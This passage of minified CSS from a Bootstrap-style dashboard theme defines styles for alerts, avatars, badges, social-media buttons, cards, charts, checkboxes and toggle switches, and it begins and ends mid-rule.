.close>span:not(.sr-only){color:rgba(23,43,77,.6)}.alert-secondary .close:focus>span:not(.sr-only),.alert-secondary .close:hover>span:not(.sr-only){color:#172b4d}.alert-notify{display:flex!important;width:calc(100% - 30px);max-width:600px;padding-right:80px;color:rgba(255,255,255,.85);box-shadow:0 3px 10px rgba(0,0,0,.15)}.alert-notify:hover{z-index:1081!important}.alert-notify:not(.alert-info):not(.alert-success):not(.alert-warning):not(.alert-danger){background-color:rgba(0,0,0,.95)}.alert-notify:not(.alert-info):not(.alert-success):not(.alert-warning):not(.alert-danger) .alert-notify-close{color:#ffd600}.alert-notify:not(.alert-info):not(.alert-success):not(.alert-warning):not(.alert-danger) .alert-notify-close:hover{opacity:.8}.alert-notify .alert-icon.ni{position:relative;top:4px}.alert-notify .alert-title{font-size:1rem;font-weight:600;display:block}.alert-notify .close{top:1rem!important;right:1.5rem!important;transform:translateY(0)}.avatar{font-size:1rem;display:inline-flex;width:48px;height:48px;color:#fff;border-radius:.375rem;background-color:#adb5bd;align-items:center;justify-content:center}.avatar img{width:100%;border-radius:.375rem}.avatar+.avatar-content{display:inline-block;margin-left:.75rem}.avatar-xl{width:74px;height:74px}.avatar-lg{font-size:.875rem;width:58px;height:58px}.avatar-sm{font-size:.875rem;width:36px;height:36px}.avatar-xs{font-size:.75rem;width:24px;height:24px}.avatar-group .avatar{position:relative;z-index:2;border:2px solid #fff}.avatar-group .avatar:hover{z-index:3}.avatar-group .avatar+.avatar{margin-left:-1rem}.badge{text-transform:uppercase}.badge a{color:#fff}.badge-md{padding:.65em 1em}.badge-lg{padding:.85em 1.375em}.badge-inline{margin-right:.625rem}.badge-inline+span{position:relative;top:2px}.badge-inline+span>a{text-decoration:underline}.badge-default{color:#fff}.badge-secondary{color:#212529;background-color:#f7fafc}.btn .badge:not(:first-child){margin-left:.5rem}.btn .badge:not(:last-child){margin-right:.5rem}.badge-circle{font-size:.75rem;font-weight:600;display:inline-flex;width:1.25rem;height:1.25rem;padding:0!important;text-align:center;border-radius:50%;align-items:center;justify-content:center}.badge-circle.badge-md{width:1.5rem;height:1.5rem}.badge-circle.badge-lg{width:2rem;height:2rem}.badge-dot{font-size:.875rem;font-weight:400;padding-right:0;padding-left:0;text-transform:none;background:0 0}.badge-dot strong{color:#32325d}.badge-dot i{display:inline-block;width:.375rem;height:.375rem;margin-right:.375rem;vertical-align:middle;border-radius:50%}.badge-dot.badge-md i{width:.5rem;height:.5rem}.badge-dot.badge-lg i{width:.625rem;height:.625rem}.btn .badge-floating{position:absolute;top:-50%;transform:translateY(50%);border:3px solid}.btn .badge-floating.badge:not(.badge-circle){transform:translate(147%,50%)}.breadcrumb-item{font-size:.875rem}.breadcrumb-dark{background-color:#172b4d}.breadcrumb-dark .breadcrumb-item{font-weight:600}.breadcrumb-dark .breadcrumb-item a{color:#f6f9fc}.breadcrumb-dark .breadcrumb-item a:hover{color:#fff}.breadcrumb-dark .breadcrumb-item+.breadcrumb-item::before{color:#adb5bd}.breadcrumb-dark .breadcrumb-item.active{color:#dee2e6}.breadcrumb-links{margin:0;padding:0;background:0 0}.btn{font-size:.875rem;position:relative;transition:all .15s ease;letter-spacing:.025em;text-transform:none;will-change:transform}.btn:hover{transform:translateY(-1px);box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.btn:not(:last-child){margin-right:.5rem}.btn i:not(:first-child),.btn svg:not(:first-child){margin-left:.5rem}.btn i:not(:last-child),.btn svg:not(:last-child){margin-right:.5rem}.btn-group .btn,.input-group .btn{margin-right:0;transform:translateY(0)}.btn-group-sm>.btn,.btn-sm{font-size:.75rem}.btn-group-lg>.btn,.btn-lg{font-size:.875rem}[class*=btn-outline-]{border-width:1px}.btn-outline-secondary{color:#4385b1}.btn-inner--icon i:not(.fas):not(.fab){position:relative;top:2px}.btn-link{font-weight:600;box-shadow:none}.btn-link:hover{transform:none;box-shadow:none}.btn-neutral{color:#5e72e4}.btn-facebook{color:#fff;border-color:#3b5999;background-color:#3b5999;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-facebook:hover{color:#fff;border-color:#3b5999;background-color:#3b5999}.btn-facebook.focus,.btn-facebook:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(59,89,153,.5)}.btn-facebook.disabled,.btn-facebook:disabled{color:#fff;border-color:#3b5999;background-color:#3b5999}.btn-facebook:not(:disabled):not(.disabled).active,.btn-facebook:not(:disabled):not(.disabled):active,.show>.btn-facebook.dropdown-toggle{color:#fff;border-color:#3b5999;background-color:#2d4474}.btn-facebook:not(:disabled):not(.disabled).active:focus,.btn-facebook:not(:disabled):not(.disabled):active:focus,.show>.btn-facebook.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(59,89,153,.5)}.btn-twitter{color:#fff;border-color:#1da1f2;background-color:#1da1f2;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-twitter:hover{color:#fff;border-color:#1da1f2;background-color:#1da1f2}.btn-twitter.focus,.btn-twitter:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(29,161,242,.5)}.btn-twitter.disabled,.btn-twitter:disabled{color:#fff;border-color:#1da1f2;background-color:#1da1f2}.btn-twitter:not(:disabled):not(.disabled).active,.btn-twitter:not(:disabled):not(.disabled):active,.show>.btn-twitter.dropdown-toggle{color:#fff;border-color:#1da1f2;background-color:#0c85d0}.btn-twitter:not(:disabled):not(.disabled).active:focus,.btn-twitter:not(:disabled):not(.disabled):active:focus,.show>.btn-twitter.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(29,161,242,.5)}.btn-google-plus{color:#fff;border-color:#dd4b39;background-color:#dd4b39;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-google-plus:hover{color:#fff;border-color:#dd4b39;background-color:#dd4b39}.btn-google-plus.focus,.btn-google-plus:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(221,75,57,.5)}.btn-google-plus.disabled,.btn-google-plus:disabled{color:#fff;border-color:#dd4b39;background-color:#dd4b39}.btn-google-plus:not(:disabled):not(.disabled).active,.btn-google-plus:not(:disabled):not(.disabled):active,.show>.btn-google-plus.dropdown-toggle{color:#fff;border-color:#dd4b39;background-color:#c23321}.btn-google-plus:not(:disabled):not(.disabled).active:focus,.btn-google-plus:not(:disabled):not(.disabled):active:focus,.show>.btn-google-plus.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(221,75,57,.5)}.btn-instagram{color:#fff;border-color:#e4405f;background-color:#e4405f;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-instagram:hover{color:#fff;border-color:#e4405f;background-color:#e4405f}.btn-instagram.focus,.btn-instagram:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(228,64,95,.5)}.btn-instagram.disabled,.btn-instagram:disabled{color:#fff;border-color:#e4405f;background-color:#e4405f}.btn-instagram:not(:disabled):not(.disabled).active,.btn-instagram:not(:disabled):not(.disabled):active,.show>.btn-instagram.dropdown-toggle{color:#fff;border-color:#e4405f;background-color:#d31e40}.btn-instagram:not(:disabled):not(.disabled).active:focus,.btn-instagram:not(:disabled):not(.disabled):active:focus,.show>.btn-instagram.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(228,64,95,.5)}.btn-pinterest{color:#fff;border-color:#bd081c;background-color:#bd081c;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-pinterest:hover{color:#fff;border-color:#bd081c;background-color:#bd081c}.btn-pinterest.focus,.btn-pinterest:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(189,8,28,.5)}.btn-pinterest.disabled,.btn-pinterest:disabled{color:#fff;border-color:#bd081c;background-color:#bd081c}.btn-pinterest:not(:disabled):not(.disabled).active,.btn-pinterest:not(:disabled):not(.disabled):active,.show>.btn-pinterest.dropdown-toggle{color:#fff;border-color:#bd081c;background-color:#8c0615}.btn-pinterest:not(:disabled):not(.disabled).active:focus,.btn-pinterest:not(:disabled):not(.disabled):active:focus,.show>.btn-pinterest.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(189,8,28,.5)}.btn-youtube{color:#fff;border-color:#cd201f;background-color:#cd201f;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-youtube:hover{color:#fff;border-color:#cd201f;background-color:#cd201f}.btn-youtube.focus,.btn-youtube:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(205,32,31,.5)}.btn-youtube.disabled,.btn-youtube:disabled{color:#fff;border-color:#cd201f;background-color:#cd201f}.btn-youtube:not(:disabled):not(.disabled).active,.btn-youtube:not(:disabled):not(.disabled):active,.show>.btn-youtube.dropdown-toggle{color:#fff;border-color:#cd201f;background-color:#a11918}.btn-youtube:not(:disabled):not(.disabled).active:focus,.btn-youtube:not(:disabled):not(.disabled):active:focus,.show>.btn-youtube.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(205,32,31,.5)}.btn-slack{color:#fff;border-color:#3aaf85;background-color:#3aaf85;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-slack:hover{color:#fff;border-color:#3aaf85;background-color:#3aaf85}.btn-slack.focus,.btn-slack:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(58,175,133,.5)}.btn-slack.disabled,.btn-slack:disabled{color:#fff;border-color:#3aaf85;background-color:#3aaf85}.btn-slack:not(:disabled):not(.disabled).active,.btn-slack:not(:disabled):not(.disabled):active,.show>.btn-slack.dropdown-toggle{color:#fff;border-color:#3aaf85;background-color:#2d8968}.btn-slack:not(:disabled):not(.disabled).active:focus,.btn-slack:not(:disabled):not(.disabled):active:focus,.show>.btn-slack.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(58,175,133,.5)}.btn-dribbble{color:#fff;border-color:#ea4c89;background-color:#ea4c89;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-dribbble:hover{color:#fff;border-color:#ea4c89;background-color:#ea4c89}.btn-dribbble.focus,.btn-dribbble:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(234,76,137,.5)}.btn-dribbble.disabled,.btn-dribbble:disabled{color:#fff;border-color:#ea4c89;background-color:#ea4c89}.btn-dribbble:not(:disabled):not(.disabled).active,.btn-dribbble:not(:disabled):not(.disabled):active,.show>.btn-dribbble.dropdown-toggle{color:#fff;border-color:#ea4c89;background-color:#e51e6b}.btn-dribbble:not(:disabled):not(.disabled).active:focus,.btn-dribbble:not(:disabled):not(.disabled):active:focus,.show>.btn-dribbble.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(234,76,137,.5)}.btn-github{color:#fff;border-color:#222;background-color:#222;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-github:hover{color:#fff;border-color:#222;background-color:#222}.btn-github.focus,.btn-github:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(34,34,34,.5)}.btn-github.disabled,.btn-github:disabled{color:#fff;border-color:#222;background-color:#222}.btn-github:not(:disabled):not(.disabled).active,.btn-github:not(:disabled):not(.disabled):active,.show>.btn-github.dropdown-toggle{color:#fff;border-color:#222;background-color:#090909}.btn-github:not(:disabled):not(.disabled).active:focus,.btn-github:not(:disabled):not(.disabled):active:focus,.show>.btn-github.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(34,34,34,.5)}.btn-vimeo{color:#fff;border-color:#04a0f0;background-color:#04a0f0;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.btn-vimeo:hover{color:#fff;border-color:#04a0f0;background-color:#04a0f0}.btn-vimeo.focus,.btn-vimeo:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08),0 0 0 0 rgba(4,160,240,.5)}.btn-vimeo.disabled,.btn-vimeo:disabled{color:#fff;border-color:#04a0f0;background-color:#04a0f0}.btn-vimeo:not(:disabled):not(.disabled).active,.btn-vimeo:not(:disabled):not(.disabled):active,.show>.btn-vimeo.dropdown-toggle{color:#fff;border-color:#04a0f0;background-color:#037fbe}.btn-vimeo:not(:disabled):not(.disabled).active:focus,.btn-vimeo:not(:disabled):not(.disabled):active:focus,.show>.btn-vimeo.dropdown-toggle:focus{box-shadow:none,0 0 0 0 rgba(4,160,240,.5)}.btn-group .btn{box-shadow:none}[data-toggle=buttons]:not(.btn-group-colors)>.btn{margin:0;cursor:pointer;border:0;background-color:#f6f9fc;box-shadow:none}[data-toggle=buttons]:not(.btn-group-colors)>.btn:not(.active){color:#525f7f}[data-toggle=buttons]:not(.btn-group-colors)>.btn.active{color:#fff;background-color:#5e72e4}.btn-group-colors>.btn{position:relative;width:30px;height:30px;margin-right:.5rem;margin-bottom:.25rem;padding:0;border-radius:50%!important;box-shadow:none}.btn-group-colors>.btn:not([class*=bg-]){border-color:#f6f9fc!important}.btn-group-colors>.btn:before{font-family:NucleoIcons,sans-serif;font-size:14px;line-height:28px;position:absolute;top:0;left:0;width:100%;height:100%;content:'';transition:transform .2s,opacity .2s;transform:scale(0);opacity:0;color:#fff}@media (prefers-reduced-motion:reduce){.btn-group-colors>.btn:before{transition:none}}.btn-group-colors>.btn.btn:not([class*=bg-]){border:1px solid #cfd5db}.btn-group-colors>.btn.btn:not([class*=bg-]):before{color:#525f7f}.btn-group-colors>.btn.active:before{transform:scale(1);opacity:1}.btn-icon .btn-inner--icon img{width:20px}.btn-icon .btn-inner--text:not(:first-child){margin-left:.75em}.btn-icon .btn-inner--text:not(:last-child){margin-right:.75em}.btn-icon-only{width:2.375rem;height:2.375rem;padding:0}a.btn-icon-only{line-height:2.5}.btn-group-sm>.btn-icon-only.btn,.btn-icon-only.btn-sm{width:2rem;height:2rem}.btn-icon-clipboard{font-family:inherit;font-size:1rem;font-weight:400;line-height:1.25;display:inline-block;width:100%;margin:0;margin:.5rem 0;padding:1.5rem;cursor:pointer;text-align:left;vertical-align:middle;text-decoration:none;color:#32325d;border:0;border-radius:.375rem;background-color:#f6f9fc;-moz-appearance:none}.btn-icon-clipboard:hover{background-color:#fff;box-shadow:rgba(0,0,0,.1) 0 0 0 1px,rgba(0,0,0,.1) 0 4px 16px}.btn-icon-clipboard>div{display:flex;align-items:center}.btn-icon-clipboard i{font-size:1.5rem;box-sizing:content-box;vertical-align:middle;color:#5e72e4}.btn-icon-clipboard span{font-size:.875rem;line-height:1.5;display:inline-block;overflow:hidden;margin-left:16px;vertical-align:middle;white-space:nowrap;text-overflow:ellipsis}.card{margin-bottom:30px;border:0;box-shadow:0 0 2rem 0 rgba(136,152,170,.15)}.card-translucent{background-color:rgba(18,91,152,.08)}.card-deck .card{margin-bottom:30px}.card.shadow{border:0!important}@media (min-width:576px){.card-columns{column-count:1}}@media (min-width:768px){.card-columns{column-count:2}}@media (min-width:1200px){.card-columns{column-count:3;column-gap:1.25rem}}.card-lift--hover:hover{transition:all .15s ease;transform:translateY(-20px)}@media (prefers-reduced-motion:reduce){.card-lift--hover:hover{transition:none}}.card-blockquote{position:relative;padding:2rem}.card-blockquote .svg-bg{position:absolute;top:-94px;left:0;display:block;width:100%;height:95px}.card-serial-number{font-size:1.625rem;display:flex;justify-content:space-between}.card-serial-number>div:not(:last-child){display:flex;flex:1 1 auto}.card-serial-number>div:not(:last-child):after{position:relative;left:-2px;content:'-';text-align:center;flex:1 1 auto}@media (max-width:575.98px){.card-serial-number{font-size:1.0625rem}}.card-pricing .card-header{padding-top:1.25rem;padding-bottom:1.25rem}.card-pricing .list-unstyled li{padding:.5rem 0;color:#8898aa}.card-pricing.popular{z-index:1;border:3px solid #5e72e4!important}@media (min-width:768px){.card-pricing.zoom-in{z-index:1;transform:scale(1.1)}}.card-profile-image{position:relative}.card-profile-image img{position:absolute;left:50%;max-width:140px;transition:all .15s ease;transform:translate(-50%,-50%) scale(1);border:3px solid #fff;border-radius:.375rem}.card-profile-image img:hover{transform:translate(-50%,-50%) scale(1.03)}.card-profile-stats{padding:1rem 0}.card-profile-stats>div{margin-right:1rem;padding:.875rem;text-align:center}.card-profile-stats>div:last-child{margin-right:0}.card-profile-stats>div .heading{font-size:1.1rem;font-weight:700;display:block}.card-profile-stats>div .description{font-size:.875rem;color:#adb5bd}.card-profile-actions{padding:.875rem}.card-stats .card-body{padding:1rem 1.5rem}.card-stats .card-status-bullet{position:absolute;top:0;right:0;transform:translate(50%,-50%)}.chart{position:relative;height:350px}.chart-sm{height:230px}.chart-legend{font-size:.875rem;display:flex;margin-top:2.5rem;text-align:center;color:#8898aa;justify-content:center}.chart-legend-item{display:inline-flex;align-items:center}.chart-legend-item+.chart-legend-item{margin-left:1rem}.chart-legend-indicator{display:inline-block;width:.5rem;height:.5rem;margin-right:.375rem;border-radius:50%}#chart-tooltip{z-index:0}#chart-tooltip .arrow{top:100%;left:50%;transform:translateX(-50%) translateX(-.5rem)}.chart-info-overlay{position:absolute;z-index:1;top:0;left:5%;max-width:350px;padding:20px}.close{transition:all .15s ease}.close>span:not(.sr-only){font-size:1.25rem;line-height:17px;display:block;width:1.25rem;height:1.25rem;transition:all .15s ease;color:rgba(0,0,0,.6);border-radius:50%;background-color:transparent}.close:focus,.close:hover{color:rgba(0,0,0,.9);outline:0;background-color:transparent}.close:focus span:not(.sr-only),.close:hover span:not(.sr-only){background-color:transparent}.close-dark>span:not(.sr-only){color:rgba(255,255,255,.8)}.close-dark:focus>span:not(.sr-only),.close-dark:hover>span:not(.sr-only){color:#fff}.accordion .card-header{position:relative;cursor:pointer}.accordion .card-header:after{font:normal normal normal 14px/1 NucleoIcons;line-height:0;position:absolute;top:50%;right:1.5rem;content:'\ea0f';transition:all .15s cubic-bezier(.68,-.55,.265,1.55);transform:translateY(-50%)}@media (prefers-reduced-motion:reduce){.accordion .card-header:after{transition:none}}.accordion .card-header[aria-expanded=false]:after{content:'\ea0f'}.accordion .card-header[aria-expanded=true]:after{transform:rotate(180deg)}.accordion .card-header[aria-expanded=true] .heading{color:#5e72e4}.main-content{position:relative}.main-content .navbar-top{padding-right:0!important;padding-left:0!important}@media (min-width:768px){.main-content .container-fluid{padding-right:30px!important;padding-left:30px!important}}.custom-checkbox .custom-control-input~.custom-control-label{font-size:.875rem;cursor:pointer}.custom-checkbox .custom-control-input:checked~.custom-control-label::before{border-color:#5e72e4}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 8 8\'%3e%3cpath fill=\'%23fff\' d=\'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z\'/%3e%3c/svg%3e')}.custom-checkbox .custom-control-input:disabled~.custom-control-label::before{border-color:#e9ecef}.custom-checkbox .custom-control-input:disabled:checked::before{border-color:rgba(94,114,228,.5)}.custom-control-label::before{top:.25rem;left:-1.75rem;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);border:1px solid #dee2e6}@media (prefers-reduced-motion:reduce){.custom-control-label::before{transition:none}}.custom-control-label::after{top:.25rem;left:-1.75rem}.custom-control-label span{position:relative;top:2px}.custom-control-label{margin-bottom:0}.custom-control-alternative .custom-control-label::before{border:0;box-shadow:0 1px 3px rgba(50,50,93,.15),0 1px 0 rgba(0,0,0,.02)}.custom-control-alternative .custom-control-input:checked~.custom-control-label::before{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.custom-control-alternative .custom-control-input:active~.custom-control-label::before,.custom-control-alternative .custom-control-input:focus~.custom-control-label::before{box-shadow:0 1px 3px rgba(50,50,93,.15),0 1px 0 rgba(0,0,0,.02)}.custom-checkbox .custom-control-input~.custom-control-label{font-size:.875rem;height:1rem;cursor:pointer}.custom-checkbox .custom-control-input:checked~.custom-control-label::before{border-color:#5e72e4}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 8 8\'%3e%3cpath fill=\'%23fff\' d=\'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z\'/%3e%3c/svg%3e')}.custom-checkbox .custom-control-input:disabled~.custom-control-label::before{border-color:#e9ecef}.custom-checkbox .custom-control-input:disabled:checked::before{border-color:rgba(94,114,228,.5)}.custom-checkbox-primary .custom-control-input:checked~.custom-control-label::before{border-color:#5e72e4;background-color:#5e72e4}.custom-checkbox-primary .custom-control-input:checked~.custom-control-label::after{background-image:#5e72e4}.custom-checkbox-secondary .custom-control-input:checked~.custom-control-label::before{border-color:#f7fafc;background-color:#f7fafc}.custom-checkbox-secondary .custom-control-input:checked~.custom-control-label::after{background-image:#f7fafc}.custom-checkbox-success .custom-control-input:checked~.custom-control-label::before{border-color:#2dce89;background-color:#2dce89}.custom-checkbox-success .custom-control-input:checked~.custom-control-label::after{background-image:#2dce89}.custom-checkbox-info .custom-control-input:checked~.custom-control-label::before{border-color:#11cdef;background-color:#11cdef}.custom-checkbox-info .custom-control-input:checked~.custom-control-label::after{background-image:#11cdef}.custom-checkbox-warning .custom-control-input:checked~.custom-control-label::before{border-color:#fb6340;background-color:#fb6340}.custom-checkbox-warning .custom-control-input:checked~.custom-control-label::after{background-image:#fb6340}.custom-checkbox-danger .custom-control-input:checked~.custom-control-label::before{border-color:#f5365c;background-color:#f5365c}.custom-checkbox-danger .custom-control-input:checked~.custom-control-label::after{background-image:#f5365c}.custom-checkbox-light .custom-control-input:checked~.custom-control-label::before{border-color:#adb5bd;background-color:#adb5bd}.custom-checkbox-light .custom-control-input:checked~.custom-control-label::after{background-image:#adb5bd}.custom-checkbox-dark .custom-control-input:checked~.custom-control-label::before{border-color:#212529;background-color:#212529}.custom-checkbox-dark .custom-control-input:checked~.custom-control-label::after{background-image:#212529}.custom-checkbox-default .custom-control-input:checked~.custom-control-label::before{border-color:#172b4d;background-color:#172b4d}.custom-checkbox-default .custom-control-input:checked~.custom-control-label::after{background-image:#172b4d}.custom-checkbox-white .custom-control-input:checked~.custom-control-label::before{border-color:#fff;background-color:#fff}.custom-checkbox-white .custom-control-input:checked~.custom-control-label::after{background-image:#fff}.custom-checkbox-neutral .custom-control-input:checked~.custom-control-label::before{border-color:#fff;background-color:#fff}.custom-checkbox-neutral .custom-control-input:checked~.custom-control-label::after{background-image:#fff}.custom-checkbox-darker .custom-control-input:checked~.custom-control-label::before{border-color:#000;background-color:#000}.custom-checkbox-darker .custom-control-input:checked~.custom-control-label::after{background-image:#000}.custom-radio .custom-control-input~.custom-control-label{font-size:.875rem;height:1rem;cursor:pointer}.custom-radio .custom-control-input:checked~.custom-control-label::before{border-color:#5e72e4}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'-4 -4 8 8\'%3e%3ccircle r=\'3\' fill=\'%23fff\'/%3e%3c/svg%3e')}.custom-radio .custom-control-input:disabled~.custom-control-label::before{border-color:#e9ecef}.custom-radio .custom-control-input:disabled:checked::before{border-color:rgba(94,114,228,.5)}.custom-toggle{position:relative;display:inherit;display:inline-block;width:52px;height:1.5rem;margin:0}.custom-toggle input{display:none}.custom-toggle input:checked+.custom-toggle-slider{border:1px solid #5e72e4}.custom-toggle input:checked+.custom-toggle-slider:before{transform:translateX(28px);background:#5e72e4}.custom-toggle input:disabled+.custom-toggle-slider{border:1px solid #e9ecef}.custom-toggle input:disabled:checked+.custom-toggle-slider{border:1px solid #e9ecef}.custom-toggle input:disabled:checked+.custom-toggle-slider:before{background-color:#8a98eb}.custom-toggle-slider{position:absolute;top:0;right:0;bottom:0;left:0;cursor:pointer;border:1px solid #ced4da;border-radius:34px!important;background-color:transparent}.custom-toggle-slider:before{position:absolute;bottom:2px;left:2px;width:18px;height:18px;content:'';transition:all .15s cubic-bezier(.68,-.55,.265,1.55);border-radius:50%!important;background-color:#e9ecef}.custom-toggle-wrapper .custom-toggle+.custom-toggle{margin-left:1rem!important}.custom-toggle input:checked+.custom-toggle-slider:after{right:auto;left:0;content:attr(data-label-on);color:#5e72e4}.custom-toggle-slider:after{font-family:inherit;font-size:.75rem;font-weight:600;line-height:24px;position:absolute;top:0;right:0;display:block;overflow:hidden;min-width:1.66667rem;margin:0 .21667rem;content:attr(data-label-off);transition:all .15s ease;text-align:center;color:#ced4da}@media (prefers-reduced-motion:reduce){.custom-toggle-slider:after{transition:none}}.custom-toggle-primary input:checked+.custom-toggle-slider{border-color:#5e72e4}.custom-toggle-primary input:checked+.custom-toggle-slider:before{background:#5e72e4}.custom-toggle-primary input:checked+.custom-toggle-slider:after{color:#5e72e4}.custom-toggle-primary input:disabled:checked+.custom-toggle-slider{border-color:#5e72e4}.custom-toggle-primary input:disabled:checked+.custom-toggle-slider:before{background-color:#8a98eb}.custom-toggle-secondary input:checked+.custom-toggle-slider{border-color:#f7fafc}.custom-toggle-secondary input:checked+.custom-toggle-slider:before{background:#f7fafc}.custom-toggle-secondary input:checked+.custom-toggle-slider:after{color:#f7fafc}.custom-toggle-secondary input:disabled:checked+.custom-toggle-slider{border-color:#f7fafc}.custom-toggle-secondary input:disabled:checked+.custom-toggle-slider:before{background-color:#fff}.custom-toggle-success input:checked+.custom-toggle-slider{border-color:#2dce89}.custom-toggle-success input:checked+.custom-toggle-slider:before{background:#2dce89}.custom-toggle-success input:checked+.custom-toggle-slider:after{color:#2dce89}.custom-toggle-success input:disabled:checked+.custom-toggle-slider{border-color:#2dce89}.custom-toggle-success input:disabled:checked+.custom-toggle-slider:before{background-color:#54daa1}.custom-toggle-info input:checked+.custom-toggle-slider{border-color:#11cdef}.custom-toggle-info input:checked+.custom-toggle-slider:before{background:#11cdef}.custom-toggle-info input:checked+.custom-toggle-slider:after{color:#11cdef}.custom-toggle-info input:disabled:checked+.custom-toggle-slider{border-color:#11cdef}.custom-toggle-info input:disabled:checked+.custom-toggle-slider:before{background-color:#41d7f2}.custom-toggle-warning input:checked+.custom-toggle-slider{border-color:#fb6340}.custom-toggle-warning input:checked+.custom-toggle-slider:before{background:#fb6340}.custom-toggle-warning input:checked+.custom-toggle-slider:after{color:#fb6340}.custom-toggle-warning input:disabled:checked+.custom-toggle-slider{border-color:#fb6340}.custom-toggle-warning input:disabled:checked+.custom-toggle-slider:before{background-color:#fc8c72}.custom-toggle-danger input:checked+.custom-toggle-slider{border-color:#f5365c}.custom-toggle-danger input:checked+.custom-toggle-slider:before{background:#f5365c}.custom-toggle-danger input:checked+.custom-toggle-slider:after{color:#f5365c}.custom-toggle-danger input:disabled:checked+.custom-toggle-slider{border-color:#f5365c}.custom-toggle-danger input:disabled:checked+.custom-toggle-slider:before{background-color:#f76783}.custom-toggle-light input:checked+.custom-toggle-slider{border-color:#adb5bd}.custom-toggle-light input:checked+.custom-toggle-slider:before{background:#adb5bd}.custom-toggle-light input:checked+.custom-toggle-slider:after{color:#adb5bd}.custom-toggle-light input:disabled:checked+.custom-toggle-slider{border-color:#adb5bd}.custom-toggle-light input:disabled:checked+.custom-toggle-slider:before{background-color:#c9cfd4}.custom-toggle-dark input:checked+.custom-toggle-slider{border-color:#212529}.custom-toggle-dark input:checked+.custom-toggle-slider:before{background:#212529}.custom-toggle-dark input:checked+.custom-toggle-slider:after{color:#212529}.custom-toggle-dark input:disabled:checked+.custom-toggle-slider{border-color:#212529}.custom-toggle-dark input:disabled:checked+.custom-toggle-slider:before{background-color:#383f45}.custom-toggle-default input:checked+.custom-toggle-slider{border-color:#172b4d}.custom-toggle-default input:checked+.custom-toggle-slider:before{background:#172b4d}.custom-toggle-default input:checked+.custom-toggle-slider:after{color:#172b4d}.custom-toggle-default input:disabled:checked+.custom-toggle-slider{border-color:#172b4d}.custom-toggle-default input:disabled:checked+.custom-toggle-slider:before{background-color:#234174}.custom-toggle-white input:checked+.custom-toggle-slider{border-color:#fff}.custom-toggle-white input:checked+.custom-toggle-slider:before{background:#fff}.custom-toggle-white input:checked+.custom-toggle-slider:after{color:#fff}.custom-toggle-white input:disabled:checked+.custom-toggle-slider{border-color:#fff}.custom-toggle-white input:disabled:checked+.custom-toggle-slider:before{background-color:#fff}.custom-toggle-neutral input:checked+.custom-toggle-slider{border-color:#fff}.custom-toggle-neutral input:checked+.custom-toggle-slider:before{background:#fff}.custom-toggle-neutral input:checked+.custom-toggle-slider:after{color:#fff}.custom-toggle-neutral input:disabled:checked+.custom-toggle-slider{border-color:#fff}.custom-toggle-neutral input:disabled:checked+.custom-toggle-slider:before{background-color:#fff}.custom-toggle-darker input:checked+.custom-toggle-slider{border-color:#000}.custom-toggle-darker input:checked+.custom-toggle-slider:before{background:#000}.custom-toggle-darker input:checked+.custom-toggle-slider:after{color:#000}.custom-toggle-darker input:disabled:checked+.custom-toggle-slider{border-color:#000}.custom-toggle-darker 